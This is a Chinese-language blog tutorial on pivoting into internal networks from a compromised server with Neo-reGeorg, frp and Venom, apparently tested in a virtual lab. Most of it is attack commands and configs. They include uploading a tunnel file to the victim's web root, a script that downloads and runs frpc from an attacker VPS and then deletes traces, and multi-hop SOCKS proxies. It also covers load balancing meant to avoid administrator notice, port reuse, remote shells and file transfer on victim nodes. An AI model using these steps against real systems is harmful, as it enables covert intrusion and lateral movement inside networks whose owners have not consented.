0%

内网穿透工具使用汇总

方式1:Neo-reGeorg

测试在虚拟中进行:

  1. 攻击者电脑:windows11 192.168.2.1

  2. 被入侵的服务器:kail192.168.2.139 和 192.168.22.132

  3. 内网其他应用:winows7服务器 192.168.22.133

最低前提条件:获得被入侵服务器的文件上传权限

步骤:

  1. 下载Neo-reGeorg,并根据服务器的不同上传相应后缀的tunnel文件到服务器网站根目录下

    1
    2
    3
    #Neo-reGeorg是reGeory的优化重构版
    #下载链接
    https://github.com/L-codes/Neo-reGeorg
  2. 在攻击者电脑上运行reGeory的python文件与服务器上上传的tunnel文件建立连接。访问本地

    1
    2
    3
    4
    5
    6
    #指令如下
    #生成相应的tunnel文件
    python neoreg.py generate -k password

    #连接tunnel文件
    python neoreg.py -k password -u http://192.168.2.139/tunnel.php

    生成shell

    image-20240113214616603

    建立连接

    image-20240113214728117

    然后我们只需要以socks5协议设置代理为127.0.0.1:1080,即可通过192.168.2.139访问到内网主机192.168.22.133

    image-20240113215048186

设置代理的方式:Proxifier、proxychains、浏览器或者软件自带的代理

方式2:frp

测试在虚拟中进行:

  1. 攻击者电脑:windows11

  2. 攻击者VPS:ubuntu 12.34.56.789

  3. 被入侵的服务器:kail 192.168.2.139 和 192.168.22.132

  4. 内网其他应用:winows7服务器 192.168.22.133(仅主机)

最低前提条件:任意用户的shell

frp服务端架设(基本配置):配置frps.toml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#frp发布版下载链接如下
https://github.com/fatedier/frp/releases/tag/v0.53.2

#根据vps的不同选择下载相应版本的frp并上传到服务器
#解压后编辑frps.toml对服务端进行配置
#内容如下:


[common]
bind_addr = 0.0.0.0
bind_port = 7000

# IP 与 bind_addr 默认相同,可以不设置
# dashboard_addr = 0.0.0.0
# 端口必须设置,只有设置web页面才生效
dashboard_port = 7500
# 用户密码保平安
dashboard_user = LtmThink
dashboard_pwd = 123456789

# 允许客户端绑定的端口
allow_ports = 1080

image-20240114140325177

运行frp服务端:

1
2
3
4
5
chmod +x frps
./frps -c ./frps.toml

#后台运行frps的指令
nohup ./frps -c ./frps.toml &

然后访问7500端口输入先前配置中的账号密码就可以看到frp服务端成功架设

image-20240114140806810

1.socks协议代理

首先最简单常用的就是socks协议代理,这一功能在 frp 中是以插件的形式实现的

步骤:

  1. 客户端配置:准备frpc和frpc.toml,并在frpc.toml中添加如下配置

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    [common]
    # 远程VPS地址
    server_addr = 12.34.56.789
    server_port = 7000
    tls_enable = true
    pool_count = 5


    [plugin_socks]
    type = tcp
    remote_port = 1080
    plugin = socks5
    plugin_user = test
    plugin_passwd = bnbm
    use_encryption = true
    use_compression = true
  2. 将这两个文件合并存放到网站根目录的frpc文件夹下

    image-20240114143950913

  3. 编写一个自动部署frpc的简单脚本ZLS并将其放到网站根目录

    1
    2
    3
    4
    5
    6
    7
    8
    9
    cd /tmp
    wget http://12.34.56.789/frpc/frpc
    wget http://12.34.56.789/frpc/frpc.toml
    chmod +x frpc
    # 启动
    nohup ./frpc -c frpc.toml &
    # 删除痕迹
    rm -rf /tmp/frpc
    rm -rf /tmp/frpc.toml
  4. 将ZLS上传到服务器(任意方式),并运行

    1
    wget http://12.34.56.789/ZLS >/dev/null 2>&1 && chmod +x ZLS && ./ZLS  && rm -rf ZLS
  5. 然后根据frpc的配置,我们将vps的相应端口指定为代理即可访问到被入侵服务器的内网

    1
    这里是2080端口

    成功上线

    image-20240114150955371

​ 按照配置设置代理image-20240114154855544

成功访问内网web服务器并执行指令

image-20240114154926559

注意:

部署步骤归结起来就是将两个frpc文件上传然后想办法使其运行即可

2.多级代理使用方法

环境准备:

1
2
3
4
个人服务器(Ubuntu):12.34.56.789
出网目标机(本地虚拟机kail,只能访问不能被访问,真实环境下可以被访问):192.168.2.1
内网目标机1(centos7):192.168.2.150和192.168.22.132
内网目标机2(windows7,80端口搭载web服务):192.168.22.133
  1. 个人服务器上配置frps.toml并运行frps

    配置:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    [common]
    bind_addr = 0.0.0.0
    bind_port = 7000

    # IP 与 bind_addr 默认相同,可以不设置
    # dashboard_addr = 0.0.0.0
    # 端口必须设置,只有设置web页面才生效
    dashboard_port = 7500
    # 用户密码保平安
    dashboard_user = LtmThink
    dashboard_pwd = 123456789

    # 允许客户端绑定的端口
    allow_ports = 1080

    执行:

    1
    frps -c frps.toml
  2. 出网目标机上配置frps.toml并运行frps

    配置:

    1
    2
    3
    [common]
    bind_addr = 0.0.0.0
    bind_port = 7000

    执行:

    1
    frps -c frps.toml
  3. 出网目标机上配置frpc.toml并运行frpc

    配置:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    [common]
    tls_enable = true
    server_addr = 12.34.56.789
    server_port = 7000
    [http_proxy]
    type = tcp
    #绑定的远程端口,也就是sock5代理应该连接的端口
    remote_port = 1080
    #plugin = socks5,不能加上这个
    #相较于一级代理,增加如下两个配置
    local_ip = 0.0.0.0
    local_port = 7777

    运行:

    1
    frpc -c frpc.toml
  4. 内网目标机1上配置frpc.toml并运行frpc

    配置:

    1
    2
    3
    4
    5
    6
    7
    [common]
    server_addr = 192.168.2.1
    server_port = 7000
    [http_proxy]
    type = tcp
    remote_port = 7777
    plugin = socks5

    运行:

    1
    frpc -c frpc.toml
  5. 将代理设置为个人服务器的1080端口即可访问内网

3.负载均衡

使用场景:

当我们获得好几台可以连接外网的主机时,就可以启用多台客户端,进行负载均衡。让其均衡分担我们访问内网的流量,

毕竟突然从一台机器迸发出大量流量很容易引起管理员的注意,也可以负载分担一下机器的CPU资源消耗

frpc配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[common]
# 远程VPS地址
server_addr = 103.242.135.137
server_port = 7000
tls_enable = true
pool_count = 5


[plugin_socks]
# [plugin_socks_2]
type = tcp
remote_port = 46075
plugin = socks5
plugin_user = test
plugin_passwd = bnbm
use_encryption = true
use_compression = true
group = socks_balancing
group_key = NGbB5#8n

多台不同的被攻击机都这么配置就可以了关注多出来的group和group_key

4.udp协议代理

frp也支持udp协议的代理

以联机星露谷为例(服务端配置不变)

客户端配置文件修改为

1
2
3
4
5
6
7
8
9
10
[common]
# 远程VPS地址
server_addr = 12.34.56.789
server_port = 7000

[starudp]
type = udp
local_ip = 127.0.0.1
local_port = 24642
remote_port = 1080

这样访问服务器的1080端口就可以访问到本地的24642端口了(星露谷联机端口)

方式3:Venom

Venom v1.1.0内网穿透能力强于Neo-reGeorg,使用简单于frp,功能更加丰富,但稳定性差于frp

注意:Venom即支持connect连接(节点主动连接)也支持listen连接(节点被连接)

1.单级代理使用方法

环境准备:

1
2
3
个人服务器(Ubuntu):12.34.56.789
出网目标机(本地虚拟机kail,假设其是一个可以被访问到的公网ip,模拟真实情况):192.168.22.1
内网目标机1(windows7,80端口搭载web服务):192.168.22.133
  1. 个人服务器上传admin_linux_x64并只需以下指令

    1
    2
    3
    4
    5
    6
    7
    8
    9
    ./admin_linux_x64 -lport 6666


    或者
    #假设192.168.22.1是一个可以被访问到的公网ip
    个人服务器
    ./admin_linux_x64 -rhost 192.168.22.1 -rport 6666
    那么目标机就应该
    ./agent_linux_x64 -lport 6666
  2. 出网目标机上传agent_linux_x64并执行以下指令

    1
    ./agent_linux_x64 -rhost 12.34.56.789 -rport 6666
  3. 回到个人服务器,在Venom命令行输入以下指令

    1
    2
    3
    4
    5
    #当完成第二部后个人服务器上的admin服务后提示连接成功
    #展示当前的节点
    show
    #进入出网目标机节点
    goto 1
  4. 配置socks代理

    1
    2
    #在个人服务器的1080端口建立socks5代理,后续只要代理设置为12.34.56.789:1080即可访问内网目标机2
    socks 1080

2.多级代理使用方法

环境准备:

1
2
3
4
个人服务器(Ubuntu):12.34.56.789
出网目标机(本地虚拟机kail,只能访问不能被访问,真实环境下可以被访问):192.168.2.1
内网目标机1(centos7):192.168.2.150和192.168.22.132
内网目标机2(windows7,80端口搭载web服务):192.168.22.133
  1. 个人服务器上传admin_linux_x64并只需以下指令

    1
    ./admin_linux_x64 -lport 6666
  2. 出网目标机上传agent_linux_x64并执行以下指令

    1
    2
    #连接个人服务器的6666端口
    ./agent_linux_x64 -rhost 12.34.56.789 -rport 6666
  3. 内网目标机1上传agent_linux_x64并执行以下指令

    1
    2
    #监听本地8080端口
    ./agent_linux_x64 -lport 8080
  4. 回到个人服务器,在Venom命令行输入以下指令

    1
    2
    3
    4
    5
    6
    7
    #进入出网目标机节点(在此节点可以访问的到不出网的内网目标机1)
    goto 1
    #连接内网目标机1的8080端口
    connect 192.168.2.150 8080
    #此时会显示连接成功
    #进入内网目标机1节点(在这个节点可以访问到内网目标机2了)
    goto 2
  5. 配置socks代理

    1
    2
    #输入以下指令,会在个人服务器的1080开启代理服务,后续只要代理设置为12.34.56.789:1080即可访问内网目标机2
    socks 1080

    image-20240206230831092

3.端口复用支持

应用场合:某些情况下端口开放被禁用,我们可以使用已知的开放端口连接

介绍:通过venom提供的端口复用功能,在windows上可以复用apache、mysql等服务的端口,暂时无法复用RDP、IIS等服务端口,在linux上可以复用多数服务端口。被复用的端口仍可正常对外提供其原有服务。

环境准备:

1
2
admin节点(本地虚拟机kail,可以访问192.168.22.133也可以被访问):192.168.2.1
agent节点(windows7,80端口搭载web服务):192.168.22.133

agent节点执行

1
2
#注意这里lhost的ip地址写本机地址,但不要写0.0.0.0
agent.exe -lhost 192.168.22.133 -reuse-port 80

admin节点执行

1
2
#admin连接192.168.22.133开放的80端口,而不会影响运行在其上的web服务
./admin_linux_x64 -rhost 192.168.22.133 -rport 80

4.端口转发

在建立与内网之间的连接后我们还可以通过Venom将内网的端口转发到个人服务器的端口上,实现访问外部的个人服务器的某一端口即可访问到内网的某一端口

1
2
3
#在个人服务器12.34.56.789的Venom命令行输入以下指令即可将内网192.168.22.133的80端口映射到#12.34.56.789:8070,后续只要访问12.34.56.789:8070即可访问到192.168.22.133:80

rforward 192.168.22.133 80 8070

也支持将个人服务器的端口映射到内网的端口

1
2
3
#在Venom命令行进入节点192.168.22.133输入以下指令即可将本地的80端口,映射到192.168.22.133的8070端口,后续内网主机只要访问192.168.22.133:8070即可访问到访问到个人服务器12.34.56.789的80端口

lforward 127.0.0.1 80 8090

5.交互shell支持

1
2
3
进入某一节点输入
shell
即可得到一个交互式shell

6.文件上传下载支持

1
2
3
4
#进入某一节点输入类似指令
goto 1
upload [file_path] [upload_path] #上传文件
download [file_path] [download_path] #下载文件

参考博客:https://www.cnblogs.com/xuanlvsec/p/14206776.html

代理设置工具:Proxifier/proxychains简单介绍

Proxifier

windows平台一般使用Proxifier来对特定软件进行代理

打开软件后选择Profile的proxy servers进行代理服务器的添加

image-20240114162712523

选择Proxification Rules进行相关规则的配置

image-20240114162749125

规则里面

image-20240114162852342

  • Default为默认的代理规则,这里是direct直连,表示默认所有软件不使用代理

  • 然后针对特定软件的特定代理规则需要自己配置,向这里的nmap使用的是12.34.56.789这个代理

proxychains

linux平台一般使用proxychains来对特定软件进行代理。kail自带有proxychains,以kail里的proxychains为例介绍

打开Proxychains配置文件/etc/proxychains4.conf,编辑文件中的代理服务器列表:

1
sudo vim /etc/proxychains4.conf

在文件的最后,添加代理服务器的IP地址和端口号,例如:

1
2
[ProxyList]
socks5 127.0.0.1 1080

在终端中使用Proxychains启动需要代理的应用程序,例如Nmap扫描:

1
proxychains nmap -sS 192.168.1.0/24	

此时Nmap将使用Proxychains配置文件中的代理服务器进行扫描,实现IP地址的隐藏和匿名。

相关博客链接

https://su18.org/post/frp/